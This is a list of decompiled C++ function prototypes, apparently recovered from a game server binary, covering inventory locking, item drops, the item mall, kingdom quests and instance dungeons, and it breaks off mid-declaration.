__thiscall MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(MapClusterManager::MapCluster *this, int Index); void __thiscall MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(MapClusterManager::MapCluster *this, unsigned int RegisterNumber); char __thiscall MapClusterManager::MapCluster::mc_Routine(MapClusterManager::MapCluster *this, List *lst, unsigned __int16 handle); MapClusterManager::MapCluster *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(MapClusterManager::MapCluster *this, List *, unsigned __int16, MapClusterManager::MapCluster *), unsigned __int16 *hnd, MapClusterManager::MapCluster *key); char __thiscall DeleteDungeon::lid_Call(DeleteDungeon *this, MapClusterManager::MapCluster *ele, unsigned __int16 handle); #592 *__thiscall MapClusterManager::ClusterManager::cm_FindEmptyByRegnum(MapClusterManager::ClusterManager *this, const char *clientmapname, unsigned int RegisterNumber); #592 *__thiscall MapClusterManager::ClusterManager::cm_FindExistByRegnum(MapClusterManager::ClusterManager *this, const char *clientmapname, unsigned int RegisterNumber); MapClusterManager::MapCluster *__thiscall MapClusterManager::ClusterManager::cm_FindMapCluster(MapClusterManager::ClusterManager *this, const char *clientmapname); void __thiscall WorldManagerSession::wms_KickPlayerFromInstanceDungeon(WorldManagerSession *this, #331 *, unsigned int); void __thiscall ZoneListenSession::zls_NC_INSTANCE_DUNGEON_FIND_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); UseEffect::UIE_Functions *__thiscall UseEffect::UsedItemEffect::operator__(UseEffect::UsedItemEffect *this, unsigned __int16 itm); int __thiscall HuntLog::MobHuntElement::mhe_Compare(ItemLotAnalyser::LotChanger *this, List *lst, unsigned __int16 hnd, ItemLotAnalyser::LotChanger *key); void __thiscall InventoryLocking::InvenCellReleaser_CenChange::InvenCellReleaser_CenChange(InventoryLocking::InvenCellReleaser_CenChange *this); void __thiscall InventoryLocking::InvenCellReleaser_FameChange::InvenCellReleaser_FameChange(InventoryLocking::InvenCellReleaser_FameChange *this); void __thiscall InventoryLocking::InvenCellReleaser_CellClear::InvenCellReleaser_CellClear(InventoryLocking::InvenCellReleaser_CellClear *this); void __thiscall InventoryLocking::InvenCellReleaser_CellChange::InvenCellReleaser_CellChange(InventoryLocking::InvenCellReleaser_CellChange *this); void __thiscall InventoryLocking::InvenCellReleaser_CellChangeSmall::InvenCellReleaser_CellChangeSmall(InventoryLocking::InvenCellReleaser_CellChangeSmall *this); void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageClear::InvenCellReleaser_GuildStorageClear(InventoryLocking::InvenCellReleaser_GuildStorageClear *this); void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageChange::InvenCellReleaser_GuildStorageChange(InventoryLocking::InvenCellReleaser_GuildStorageChange *this); void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::InvenCellReleaser_GuildAcademyRewardStorageRelocClear(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageWithdrawClear *this); void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageChange::InvenCellReleaser_GuildAcademyRewardStorageChange(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc *this); void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng *this); void __thiscall InventoryLocking::InvenCellReleaser_FurnitureReloc::InvenCellReleaser_FurnitureReloc(InventoryLocking::InvenCellReleaser_FurnitureReloc *this); void __thiscall InventoryLocking::InvenCellReleaser_FurnitureCellClear::InvenCellReleaser_FurnitureCellClear(InventoryLocking::InvenCellReleaser_FurnitureCellClear *this); void __thiscall InventoryLocking::InvenCellReleaser_EquipLocation::InvenCellReleaser_EquipLocation(InventoryLocking::InvenCellReleaser_EquipLocation *this); void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::InvenCellReleaser_ItemUse(InventoryLocking::InvenCellReleaser_ItemUse *this); void __thiscall InventoryLocking::InvenCellReleaser_PointStone::InvenCellReleaser_PointStone(InventoryLocking::InvenCellReleaser_PointStone *this); void __thiscall InventoryLocking::InvenCellReleaser_QuestReward::InvenCellReleaser_QuestReward(InventoryLocking::InvenCellReleaser_QuestReward *this); void __thiscall InventoryLocking::InvenCellReleaser_FurnitureReloc::lc_Free(InventoryLocking::InvenCellReleaser_FurnitureReloc *this, #331 *shine); void __thiscall InventoryLocking::InventoryCellLock::InventoryCellLock(InventoryLocking::InventoryCellLock *this); void __thiscall InventoryLocking::InventoryCellLock::_InventoryCellLock(InventoryLocking::InventoryCellLock *this); char __thiscall InventoryLocking::InventoryCellLock::icl_IsLocked(AxialListIterator *this, #331 *, #331 *, unsigned int); bool __thiscall ShineObjectClass::ShineObject::so_ply_Script_CostumeCreate(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned int chrregnum, char (*ptitle)[17]); void __thiscall InventoryLocking::InventoryCellLockList::icl_ClearItemSimple(InventoryLocking::InventoryCellLockList *this, ItemBoxIterator *pBoxIterraotr); void __thiscall InventoryLocking::InventoryCellLockList::icll_SetObject(InventoryLocking::InventoryCellLockList *this, #440 *sp); void __thiscall InventoryLocking::InvenCellReleaser_LinkInfo::InvenCellReleaser_LinkInfo(InventoryLocking::InvenCellReleaser_LinkInfo *this); void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse(InventoryLocking::InvenCellReleaser_LinkInfo *this); char __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Home(InventoryLocking::UnlockedInventoryIterator *this); char __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Next(InventoryLocking::UnlockedInventoryIterator *this); char __thiscall List::l_PushZ(List *this, InventoryLocking::LockedCell *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, InventoryLocking::LockedCell *ele); char __thiscall List::l_PopZ(List *this, InventoryLocking::LockedCell *ele); void __thiscall InventoryLocking::InvenCellReleaser::icr_Apply(InventoryLocking::InvenCellReleaser *this, #331 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_CenChange::icr_Apply(InventoryLocking::InvenCellReleaser_CenChange *this, #331 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_FameChange::icr_Apply(InventoryLocking::InvenCellReleaser_FameChange *this, #331 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_CellChangeSmall::icr_Apply(InventoryLocking::InvenCellReleaser_CellChangeSmall *this, #331 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_EquipLocation::icr_Apply(InventoryLocking::InvenCellReleaser_EquipLocation *this, #331 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::icr_Apply(InventoryLocking::InvenCellReleaser_ItemUse *this, #331 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_PointStone::icr_Apply(InventoryLocking::InvenCellReleaser_PointStone *this, #331 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_QuestReward::icr_Apply(InventoryLocking::InvenCellReleaser_QuestReward *this, #331 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::icr_Apply(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng *this, #331 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser::icr_Reserv(InventoryLocking::InvenCellReleaser *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc); void __thiscall InventoryLocking::InvenCellReleaser_CenChange::icr_Reserv(InventoryLocking::InvenCellReleaser_CenChange *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc); void __thiscall InventoryLocking::InvenCellReleaser_FameChange::icr_Reserv(InventoryLocking::InvenCellReleaser_FameChange *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc); void __thiscall InventoryLocking::InvenCellReleaser_PointStone::icr_Reserv(InventoryLocking::InvenCellReleaser_PointStone *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc); void __thiscall InventoryLocking::InventoryCellLockList::_InventoryCellLockList(InventoryLocking::InventoryCellLockList *this); void __thiscall InventoryLocking::InventoryCellLockList::icl_LockInventory(InventoryLocking::InventoryCellLockList *this, char lck); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, ITEM_INVEN *inven); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, ITEM_INVEN *inven, unsigned __int16 ignore); void __thiscall InventoryLocking::InventoryCellLockList::icl_OnlyLock(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int inventype, int invenslot); void __thiscall InventoryLocking::InventoryCellLockList::icl_ClearItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ITEM_INVEN *cur, ITEM_INVEN *exchange); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreSmallItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ITEM_INVEN *to, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreFurniture(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreMoney(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, unsigned __int64 money, int sign); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreFame(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, unsigned int fame, int sign); void __thiscall InventoryLocking::InventoryCellLockList::icl_EquipLocation(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int equslot, ItemInventoryCell *equcell, int otherhand, ItemInventoryCell *otherhandcell); void __thiscall InventoryLocking::InventoryCellLockList::icl_UseItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemTotalInformation *iti, ITEM_INVEN *inv, UseEffect::UseItemBase *useitemclass); void __thiscall InventoryLocking::InventoryCellLockList::icl_StorePointStone(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int flag, int num); void __thiscall InventoryLocking::InventoryCellLockList::icl_QuestReward(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int exp, int fame, char ct_type, char ct_elementno); InventoryLocking::ReservedQuantity *__thiscall InventoryLocking::InventoryCellLock::icl_ReservedQuantity(InventoryLocking::InventoryCellLock *this, InventoryLocking::ReservedQuantity *reserv); void __thiscall InventoryLocking::InventoryCellLockList::icl_LinktoItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, NPCManager::LinkInformTemplete *pLinkInfo); void __thiscall InventoryLocking::InventoryCellLockList::icl_ItemInfoZoneRng(InventoryLocking::InventoryCellLockList *this, unsigned __int16 index, SHINE_INVEN_SLOT_INFO from, SHINE_INVEN_SLOT_INFO to, ItemTotalInformation changeiteminfo); char __thiscall List::l_PushA(List *this, InventoryLocking::LockedCell *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PushZ(List *this, ItemLotAnalyser::LotChanger *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall ItemLotAnalyser::LotAnalyser::la_Store(ItemLotAnalyser::LotAnalyser *this, ITEM_INVEN *inven, ItemInventoryCell *cell, int delta); void __thiscall InventoryLocking::InvenCellReleaser_CellClear::icr_Apply(InventoryLocking::InvenCellReleaser_CellClear *this, #331 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_CellChange::icr_Apply(InventoryLocking::InvenCellReleaser_CellChange *this, #331 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_FurnitureReloc::icr_Apply(InventoryLocking::InvenCellReleaser_FurnitureReloc *this, #331 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_FurnitureCellClear::icr_Apply(InventoryLocking::InvenCellReleaser_FurnitureCellClear *this, #331 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageClear::icr_Apply(InventoryLocking::InvenCellReleaser_GuildStorageClear *this, #331 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageChange::icr_Apply(InventoryLocking::InvenCellReleaser_GuildStorageChange *this, #331 *, InventoryLocking::LockedCell *, char); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, int type, int slot); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, int type, int slot, unsigned __int16 ignore); void __thiscall InventoryLocking::InventoryCellLockList::icl_Free(InventoryLocking::InventoryCellLockList *this, unsigned __int16 lockindex); void __thiscall InventoryLocking::InventoryCellLockList::icl_Free(InventoryLocking::InventoryCellLockList *this, int inventype, int invenslot); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsAnyLock(InventoryLocking::InventoryCellLockList *this); InventoryLocking::ReservedQuantity *__thiscall InventoryLocking::InventoryCellLockList::icl_ReservedQuantity(InventoryLocking::InventoryCellLockList *this, InventoryLocking::ReservedQuantity *reserv); void __thiscall InventoryLocking::InvenCellReleaser_LinkInfo::icr_Apply(InventoryLocking::InvenCellReleaser_LinkInfo *this, #331 *, InventoryLocking::LockedCell *, char); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); char __thiscall InventoryLocking::InventoryCellLockList::icl_Apply_N_Free(InventoryLocking::InventoryCellLockList *this, #331 *, unsigned __int16, char); void __thiscall ItemLotAnalyser::LotAnalyser::LotAnalyser(ItemLotAnalyser::LotAnalyser *this); void __thiscall InventoryLocking::InventoryCellLockList::InventoryCellLockList(InventoryLocking::InventoryCellLockList *this); const char *__thiscall ShineScript::ss_String(ShineScript *this, char *scriptindex); // void __usercall itembreakmenu(char *str, void (__thiscall *ok)(ServerMenuFuncter *this, #440 *, ServerMenuArgument *), void (__thiscall *cancel)(ServerMenuFuncter *this, #440 *, ServerMenuArgument *), #440 *sp, ServerMenuArgument *argument); void __thiscall ItemDropper::id_OK(ItemDropper *this, #440 *, ServerMenuArgument *); void __thiscall ItemBreaker::ib_OK(ItemBreaker *this, #440 *, ServerMenuArgument *); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess(void *this, int suc); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemBreakFail(void *this, int fail); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMBREAKSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMBREAKFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ServerMenuFuncter::smfm_ItemBreakWarn1(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ItemBreakCancel(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ItemDropWarn(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ItemDropCancel(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ItemBreakWarn0(ServerMenuFuncter *this, #440 *, ServerMenuArgument *); char __thiscall ItemDropper::id_Drop(ItemDropper *this, #440 *, ItemInventoryCell *, ITEM_INVEN *, PROTO_NC_ITEM_DROP_REQ *, unsigned __int16 *); char __thiscall ItemBreaker::ib_Break(ItemBreaker *this, #440 *, ItemInventoryCell *, ITEM_INVEN, unsigned __int16 *); unsigned int __thiscall RandomBox::rb_1000000(RandomBox *this); int __cdecl ItemDropFromMob::DropItemListInGroup::dilig_Compare(const void *a, const void *b); int __thiscall DropItemStruct::ItemGroup::operator_(int this, int a2); void __thiscall ItemDropFromMob::DropIndexCluster::DropIndexCluster(ItemDropFromMob::DropIndexCluster *this); int __thiscall MobRegenClass::MobBreeder::mb_RegenGroupIndex(void *this, int regengroup); int __thiscall ItemDropFromMob::DropItemListInGroup::__unnamed::__unnamed(int this); void __thiscall ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup(ItemDropFromMob::DropItemListInGroup *this); void __thiscall ItemDropFromMob::DropItemListInGroup::dilig_AppendItem(ItemDropFromMob::DropItemListInGroup *this, unsigned __int16 itm, DropItemStruct::ItemGroup *ig); void __thiscall ItemDropFromMob::DropItemListInGroup::dilig_Drop(ItemDropFromMob::DropItemListInGroup *this, #331 *, char, unsigned int, unsigned int); void __thiscall ItemDropFromMob::DropIndexCluster::_DropIndexCluster(ItemDropFromMob::DropIndexCluster *this); void __thiscall ItemDropFromMob::DropItemListInGroup::DropItemListInGroup(ItemDropFromMob::DropItemListInGroup *this); void __thiscall ItemDropFromMob::DropItemListInGroup::dilig_StoreItem(ItemDropFromMob::DropItemListInGroup *this, char *index, DropItemStruct::ItemGroup *ig); void __thiscall ItemDropFromMob::DropGroupCluster::DropGroupCluster(ItemDropFromMob::DropGroupCluster *this); void __thiscall ItemDropFromMob::DropGroupCluster::dgc_Append(ItemDropFromMob::DropGroupCluster *this, ORToken *index); ItemDropFromMob::DropItemListInGroup *__thiscall ItemDropFromMob::DropGroupCluster::dgc_Find(ItemDropFromMob::DropGroupCluster *this, ORToken *index); void __thiscall ItemDropFromMob::DropItemListForSpecies::dilfs_DropByRate(ItemDropFromMob::DropItemListForSpecies *this, int sub, DropItemStruct::DropTable *droptable, #331 *attacker, RateRecalc *victim, char rrcalc, unsigned int loot_party, unsigned int loot_handle); void __thiscall ItemDropFromMob::DropIndexCluster::dic_Load(ItemDropFromMob::DropIndexCluster *this, Name4 *world); void __thiscall ItemDropFromMob::DropItemListForSpecies::dilfs_Drop(ItemDropFromMob::DropItemListForSpecies *this, DropItemStruct::DropTable *droptable, ORToken *regengroup, #331 *attacker, char victim, unsigned int loot_party, RateRecalc *loot_handle, unsigned int raterecalc); void __thiscall ItemDropFromMob::DropItemListForSpecies::dilfs_ItemDrop(ItemDropFromMob::DropItemListForSpecies *this, ORToken *regengroup, #331 *attacker, char victim, unsigned int loot_party, unsigned int loot_handle); void __thiscall ItemDropFromMob::DropIndexCluster::dic_ItemDrop(ItemDropFromMob::DropIndexCluster *this, #331 *, MobDataBox::MobDataBoxIndex *, #811 *, char, unsigned int, unsigned int); void __thiscall ItemDataBox::idb_iter_home(ItemDataBox *this, unsigned int *pnt); char __thiscall ItemDataBox::idb_iter_next(ItemDataBox *this, unsigned int *pnt); unsigned __int16 __thiscall ItemDataBox::idb_iter_Get(ItemDataBox *this, unsigned int *pnt); void __thiscall ItemGroupClassifier::ItemGroupClassifier(ItemGroupClassifier *this); void __thiscall ItemGroupClassifier::_ItemGroupClassifier(ItemGroupClassifier *this); void __thiscall ItemGroupClassifier::igc_Store(ItemGroupClassifier *this, unsigned __int16 itmid, char *dropgroup); int __thiscall CardDeck::CardStack::cs_CardNum(CardDeck::CardStack *this); unsigned __int16 __thiscall CardDeck::CardStack::cs_TakeTop(CardDeck::CardStack *this, unsigned int *card); void __thiscall ItemGroupClassifier::igc_Load(ItemGroupClassifier *this); unsigned __int16 __thiscall ItemGroupClassifier::igc_Getitem(ItemGroupClassifier *this, char *str, unsigned int clsmask); char __thiscall ItemGroupClassifier::igc_ChargedDuringUse(ItemGroupClassifier *this, ItemAttributeClass *iac, ItemTotalInformation *iti); int __stdcall ShineObjectClass::ShinePlayer::sp_CalcTotalLot(int bag, __int16 itemid); ItemLotInspector *__cdecl ShineObjectClass::ShineObject::so_ply_GetItemLotInspector(); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetItemLotInspector(void *this); void __thiscall ItemLotInspector::ItemLotInspector(ItemLotInspector *this); void __thiscall ItemLotInspector::ili_Clear(ItemLotInspector *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_CalcTotalLot(void *this, __int16 itemid, int isstoragecount, char first); void __thiscall ItemLotInspector::ili_History(ItemLotInspector *this); char __thiscall ItemLotInspector::ili_ItemCheck(ItemLotInspector *this, #440 *, SHINE_ITEM_STRUCT *, int); char __thiscall ItemLotInspector::ili_Check(ItemLotInspector *this, #440 *sp); ItemMall::ItemSetList *__thiscall ItemMall::im_FindStruct(ItemMall *this, unsigned int code); void __thiscall ItemMall::im_AddSet(ItemMall *this, ItemMall::ItemSetList *isl, ItemShop *is); // void __usercall ItemMallError(#440 *sp, unsigned int order, unsigned __int16 err); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall ItemMall::im_NewSet(ItemMall *this, ItemShop *is); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_CHARGEDINVENOPEN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_CHARGED_LIST_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_CHARGED_WITHDRAW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedWithdraw(void *this, int withdraw); void __thiscall ShineObjectClass::ShinePlayer::so_ply_FillChargedInven(void *this, int chargedlist); void __thiscall ItemMall::im_Load(ItemMall *this); int __cdecl operator_(Name8 *a, Name8 *b); void __thiscall ItemRandomOption::RandomOptionTable::RandomOptionTable(ItemRandomOption::RandomOptionTable *this); void __thiscall ItemRandomOption::RandomOptionTable::_RandomOptionTable(ItemRandomOption::RandomOptionTable *this); int __cdecl ItemRandomOption::RandomOptionTable::rot_Compare(const void *a, const void *b); ItemRandomOption::RandomOptionDatum *__thiscall ItemRandomOption::RandomOptionTable::operator__(ItemRandomOption::RandomOptionTable *this, char *idx); void __thiscall ItemRandomOption::RandomOptionTable::rot_Load(ItemRandomOption::RandomOptionTable *this, Name4 *world); void __thiscall ItemRandomOption::RandomOptionTable::rot_FillOption(ItemRandomOption::RandomOptionTable *this, ItemOptionStorage *option, ItemRandomOption::RandomOptionDatum *datum); void __thiscall ItemsInChest::ItemsInChest(ItemsInChest *this); unsigned __int16 __thiscall ItemsInChest::iic_StoreItem(ItemsInChest *this, ItemTotalInformation *buf); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall PROTO_KQ_MAP_INFO::operator_(int this, int a2); void *__thiscall PROTO_KQ_INFO::operator_(void *this, const void *a2); void __thiscall KingdomQuestEntrance::KingdomQuestEntrance(KingdomQuestEntrance *this); void __thiscall KingdomQuestEntrance::kqe_entry(KingdomQuestEntrance *this, unsigned __int16 handle); int __cdecl KingdomQuestEntrance::kqe_Compare(const void *a, const void *b); void __thiscall KingdomQuestGate::KingdomQuestGateKeeper::KingdomQuestGateKeeper(KingdomQuestGate::KingdomQuestGateKeeper *this); void __thiscall KingdomQuestGate::KingdomQuestGateKeeper::_KingdomQuestGateKeeper(EventSaveCheck *this); bool __thiscall KingdomQuestGate::KingdomQuestGateKeeper::erb_CheckLinkMap(KingdomQuestGate::KingdomQuestGateKeeper *this, #331 *obj); int __thiscall KingdomQuest::KQPlayerInform::regnumcomp(KingdomQuest::KQPlayerInform *this, List *lst, unsigned __int16 hnd, KingdomQuest::KQPlayerInform *key); void __thiscall List::_List(List *this); ORTable *__thiscall List::l_AllocA(List *this, unsigned __int16 hnd); char __thiscall List::l_PushZ(List *this, KingdomQuest::KQPlayerInform *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, KingdomQuest::KQPlayerInform *ele); char __thiscall List::l_PopZ(List *this, KingdomQuest::KQPlayerInform *ele); void __thiscall KingdomQuest::KQElement::kqe_QuestStart(KingdomQuest::KQElement *this); KingdomQuest::KQElement *__thiscall KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(KingdomQuest::KingdomQuestContainer *this, unsigned int handle, unsigned __int16 *lsthnd); char __thiscall ListIteratorKingdomQuestMapFind::lid_Call(ListIteratorKingdomQuestMapFind *this, KingdomQuest::KQElement *ele, unsigned __int16 handle); char __thiscall KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck(KingdomQuest::KingdomQuestContainer *this, Name3 *map_); void __thiscall AxialListObjectClear::AxialListObjectClear(AxialListObjectClear *this, unsigned int clearflag); void __thiscall AxialListObjectClear::_AxialListObjectClear(AxialListObjectClear *this); char __thiscall AxialListObjectClear::ali_Work(AxialListObjectClear *this, #331 *, #331 *, unsigned int); void __thiscall FieldMap::fm_ClearObject(void *this, unsigned int eraseflag); void __cdecl ShineObjectClass::ShineObject::so_RetrateFromMap(); void __thiscall ShineObjectClass::ShineDropItem::so_RetrateFromMap(ShineObjectClass::ShineDropItem *this); void __thiscall ShineObjectClass::ShineEffectObject::so_RetrateFromMap(ShineObjectClass::ShineEffectObject *this); void __thiscall ShineObjectClass::ShineMobileObject::so_RetrateFromMap(void *this); void __thiscall ShineObjectClass::ShineDoor::so_RetrateFromMap(ShineObjectClass::ShineDoor *this); void __stdcall ShineObjectClass::ShineObject::so_LinkToReserv(int lnkinf, char TryUntilSuccess); void __thiscall ShineObjectClass::ShinePlayer::so_LinkToReserv(void *this, const void *lnkinf, char TryUntilSuccess); void __stdcall ShineObjectClass::ShineObject::so_TeleportReserv(int Location); void __thiscall ShineObjectClass::ShinePlayer::so_TeleportReserv(void *this, int Location); void __thiscall KingdomQuestEntrance::kqe_sort(KingdomQuestEntrance *this, unsigned __int16 handle); PROTO_NC_KQ_JOINER *__thiscall KingdomQuestEntrance::kqe_search(KingdomQuestEntrance *this, PROTO_NC_KQ_JOINER *key, unsigned __int16 handle); int __thiscall KingdomQuestEntrance::operator__(KingdomQuestEntrance *this, PROTO_NC_KQ_W2Z_START_CMD *kqstart); void __thiscall KingdomQuestGate::KingdomQuestGate(KingdomQuestGate *this); void __thiscall KingdomQuestGate::_KingdomQuestGate(KingdomQuestGate *this); void __thiscall KingdomQuestGate::KingdomQuestGateKeeper::erb_happen(KingdomQuestGate::KingdomQuestGateKeeper *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_KQ_ENTRYRESPONCE_ACK(void *this, int netcmd, __int16 lsthnd, __int16 handle); void __thiscall WorldManagerSession::wms_NC_KQ_W2Z_START_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __thiscall KingdomQuest::KQElement::kqe_ReviveNumber(KingdomQuest::KQElement *this, char *revivehere); KingdomQuest::KQElement *__thiscall ShineObjectClass::ShinePlayer::sp_MyKQElement(void *this); int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownMinus(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum); int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownPlus(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum); int __thiscall KingdomQuest::KQPlayerInform::kqpi_KnockDownGet(KingdomQuest::KQPlayerInform *this, unsigned int plyregnum); _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetBattleStat(); void __thiscall ShineObjectClass::ShinePlayer::sp_KQItemDrop(void *this); char __thiscall List::l_PushA(List *this, KingdomQuest::KQPlayerInform *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall List::l_Clear(List *this); void __thiscall WorldManagerSession::wms_NC_KQ_W2Z_DESTROY_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall List::_List(KingdomQuest::KQPlayerInfoList *this); void __thiscall List::l_Clear(List *this); KingdomQuest::KQPlayerInform *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(KingdomQuest::KQPlayerInform *this, List *, unsigned __int16, KingdomQuest::KQPlayerInform *), unsigned __int16 *hnd, KingdomQuest::KQPlayerInform *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall KingdomQuest::KingdomQuestContainer::_KingdomQuestContainer(KingdomQuest::KingdomQuestContainer *this); void __thiscall WorldManagerSession::wms_NC_KQ_W2Z_MAKE_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __thiscall KingdomQuest::KQPlayerInfoList::kqpil_StorePlayer_GetKnockDownNumber(KingdomQuest::KQPlayerInfoList *this, unsigned int plyregnum); int __thiscall KingdomQuest::KQPlayerInfoList::kqpil_PlayerInformFunc(KingdomQuest::KQPlayerInfoList *this, int (__thiscall *func)(KingdomQuest::KQPlayerInform *this, unsigned int), unsigned int plyregnum); int __thiscall ShineObjectClass::ShinePlayer::so_GetBattleStat(void *this); int __thiscall ShineObjectClass::ShinePlayer::sp_KQElementFunction(void *this, int (__thiscall *func)(KingdomQuest::KQPlayerInform *, unsigned int)); void __thiscall CommonList::CommonList(CommonList *this, int size); char __thiscall List::l_PushA(List *this, KingdomQuest::KQElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall KingdomQuest::KQElement::operator_(int this, int a2); int __thiscall CommonList::operator_(int this, int a2); char __thiscall 